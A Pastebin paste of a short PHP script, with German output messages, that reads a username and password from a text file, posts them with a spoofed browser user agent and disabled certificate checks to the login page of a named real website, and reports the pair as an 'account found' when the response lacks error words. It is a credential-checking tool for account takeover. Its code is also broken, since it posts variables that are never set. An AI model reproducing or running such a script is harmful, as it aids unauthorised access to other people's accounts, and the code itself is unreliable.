Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- $fileh = @fopen('1.txt','r');
- $flag = 0;
- if($user_pass = fgets($fileh))
- {
- $arr = explode(', ',$user_pass);
- $username = $arr[0];
- $password = $arr[1];
- $url = "http://fusion-network.eu/login";
- $agent= 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0';
- $post_fields = 'Benutzername='.$loginInput.'&Passwort='.$passwordInput.'&submit=Login';
- $reffer = "http://fusion-network.eu";
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, $url);
- curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
- curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
- curl_setopt($ch, CURLOPT_VERBOSE, true);
- curl_setopt($ch, CURLOPT_REFERER, $reffer);
- curl_setopt($ch, CURLOPT_POST, 1);
- curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($ch, CURLOPT_USERAGENT, $agent);
- $result = curl_exec($ch);
- curl_close($ch);
- if(!strstr($result, 'error') && !strstr($result, 'wrong') && !strstr($result, 'invalid'))
- {
- $flag = 1;
- echo 'Account gefunden : Username : '.$loginInput.' Password : '.$passwordInput.'<br />';
- }
- }
- if($flag == 0)
- {
- echo 'Alles Invalider Dreck';
- }
- fclose($fileh);
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement